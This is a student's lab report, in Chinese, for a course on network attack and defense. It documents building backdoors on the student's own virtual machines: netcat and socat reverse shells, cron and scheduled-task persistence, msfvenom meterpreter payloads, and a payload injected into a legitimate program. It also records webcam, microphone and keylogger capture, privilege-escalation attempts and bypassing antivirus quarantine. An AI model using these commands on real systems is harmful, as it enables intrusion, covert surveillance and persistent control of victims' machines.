20234320 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
- 1.1 使用netcat获取主机操作Shell,cron启动任务
- 1.2 使用socat获取主机操作Shell, 任务计划启动
- 1.3 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 1.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 1.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.实践环境
基于VMware的Kali虚拟机,版本如下图
win11,版本如下图
当前电脑中Windows defender已经关闭,防护软件为火绒
3.实验过程
3.1使用netcat获取主机操作Shell,cron启动某项任务
3.1.1Windows获取Linux Shell
- 在Windows主机上,执行
ipconfig
命令,查看主机的ip地址,此处为192.168.56.1
- 在Windows主机上,进入netcat所在目录,打开PowerShell,执行
./ncat.exe -l -p 7777
,监听本机7777端口
- 在kali终端,输入命令
nc 192.168.56.1 7777 -e /bin/sh
,让虚拟机主动连接到ip为192.168.56.1的机器的7777端口
- 反弹连接成功,windows获得kali终端的控制器,可以执行命令
3.1.2cron定时连接攻击机
- 输入命令
crontab -e
编辑crontab文件,因为之前已经使用过crontab,选择了第二种修改方式,此处没有重新选择
- 在cron表的末尾添加命令
50 * * * * /bin/netcat 192.168.56.1 7777 -e /bin/sh
,攻击机的监听端口需保持监听,kali会在每个小时的50分自动连接对应ip的7777端口,crontab -l
可以查看当前的cron表
- 等待到50分时,windows和kali建立反弹连接成功,可以执行命令
3.2使用socat获取主机的Shell,并设置定时任务
3.2.1使用socat获取主机的Shell
- 下载socat压缩包后解压
在此附件下载socat - 在解压后的文件夹打开PowerShell输入命令
./socat.exe tcp-listen:7788 exec:cmd.exe,pty,stderr
,在本机上监听7788端口
- 在虚拟机上输入命令
socat - tcp:192.168.56.1:7788
,尝试连接192.168.56.1的机器的7788端口,然后将当前终端的输入发送到对方主机上,并把对方返回的数据显示在此终端
3.2.2设置定时任务
- 编写一个程序,打印我的名字,命名为我的学号,编译为可执行文件
- 在虚拟机中,输入命令
schtasks /create /sc minute /mo 1 /tn “20234320lzl"/tr C:\Users\23325\Desktop\c_code\test\20234320lzl.exe
,在Windows系统上创建一个名为“20234320lzl”的定时任务,该任务会每分钟自动运行一次位于C:\Users\23325\Desktop\c_code\test\20234320lzl.exe的程序
- 在任务计划程序中查看,任务成功创建
3.3使用MSF meterpreter生成后门,传送到主机并运行获取主机Shell
3.3.1后门生成
- 在虚拟机输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.129 LPORT=8888 -f exe > 20234320_backdoor.exe
,生成一个在windows上运行的后门程序
3.3.2文件传输
- 将程序通过共享文件夹传输到windows中
3.3.3解除隔离
- 如果杀毒软件拦截了程序,直接手动将程序移出隔离区,放入信任区,防止后续操作中杀毒软件继续拦截行为
3.3.4配置监听模块
- 在kali中输入msfconsole,打开msf控制台,对监听模块进行配置
点击查看代码
use exploit/multi/handler #等待并处理来自载荷的连接
set payload windows/meterpreter/reverse_tcp #指定了监听器要处理的是一个Windows平台的、反向TCP连接的Meterpreter载荷
set LHOST 192.168.218.129 #表示在IP地址为192.168.218.129的网卡上进行监听,此处的IP地址需要填入Kali虚拟机的ip
set LPORT 8888 #在8888这个端口上进行监听
exploit #启动监听器
3.3.5在Windows主机上运行后门程序,连接成功
3.3.5使用MSF meterpreter生成获取目标主机资源的后门
点击查看代码
record_mic #从目标主机的默认麦克风录制音频
screenshot #表示获取目标主机当前屏幕的截图,保存为图片文件
webcam_snap #表示通过目标主机的摄像头拍摄一张照片
keyscan_start #表示开始捕获目标主机的键盘输入(键盘记录)
keyscan_dump #导出键盘记录缓存区的内容,将目标机上的按键记录输出在终端
keyscan_stop #手动停止
- 在对应目录下查看获取的文件
3.3.6尝试提权
- 通过命令
getuid
可查看初始用户名为:FOREST LUO\23325
- 输入命令
getsystem
提权,由于 UAC 限制提权失败,需要提前关闭 UAC功能
3.3.7使用MSF将后门注入合法程序并执行
- 输入命令
msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192.168.218.129 LPORT=8888 -x ex2/pwn -f elf > pwn_20234320_ex2
,将一个Linux系统下的反向连接r后门,注入到已有的合法程序中,并生成一个新的、带有后门的可执行文件
- 通过命令
sudo chmod a+x pwn_20234320_ex2
,使用管理员权限为程序添加可执行权限
- 重新打开一个shell,输入msfconsole,再次进行监听配置,输入命令如下:
点击查看代码
use exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcp #注意这里需要使用linux而非windowsset LHOST 192.168.218.129set LPORT 8888
4. 在原先的shell中运行文件pwn_20234320_ex2,连接成功
4.问题及解决
- 问题1:Kali虚拟机在Meterpreter会话建立后立刻关闭,并且没有其他的报错信息
解决1:
第一步:查看windows事件查看器的报错信息,问题的原因在于Kali Linux系统中安装的Ruby版本(Ruby 3.1)与Metasploit框架当前版本所依赖的Ruby版本不兼容
第二步:在微软官方下载页面下载并安装Visual C++ Redistributable,选择vc_redist.x86.exe,在windows上运行安装程序
第三步:在kali虚拟机上执行sudo apt update && sudo apt install metasploit-framework
,更新Metasploit框架 - 问题2:screenshot无法使用,报错信息如下
解决2:经过延长等待时间测试,该windos版本screenshot无法使用,需要对windos版本进行回退
5.回答问题
- 列举你能想到的一个后门进入到你系统中的可能方式
通过自建网站提供盗版软件资源,在软件中植入后门,用户为了运行软件给予了软件较高权限,用户系统在静默下被获取关键权限与信息 - 列举你知道的后门如何启动起来(win及linux)的方式?
Windows系统后门启动方式
- 注册表启动项:在注册表键下添加一个指向后门程序的键值
- Windows服务:后门可以将自己注册为一个系统服务,随系统启动而运行,并通常拥有 SYSTEM 等高权限
- 计划任务:设定在特定时间、用户登录时、系统启动时或特定事件发生时触发后门
Linux系统后门启动方式 - Systemd:在后门程序所在目录创建一个.service 文件,然后放到/etc/systemd/system/或/usr/lib/systemd/system/下执行
- Shell启动脚本:将后门植入特定的脚本,启用shell时后门生效
5.学习思考与感悟
真实的攻击过程往往需要结合多种漏洞共同完成,在设计攻击链时,需要绕过诸多限制条件,以本次实验为例,需要考虑如何将后门程序传入受攻击的系统,如何关闭其杀毒软件或者做好程序免杀,如何在较差的网络环境中完成攻击并隐藏自己的流量,如何隐蔽地调用关键权限,这些问题都等待着我们未来去思考和解决。
本次实验中,我真实地体会了Netcat和Socat的用途广泛,在攻击者手中成为一个建立反向Shell的利器,也让我意识到做好ip地址和端口管理的重要性。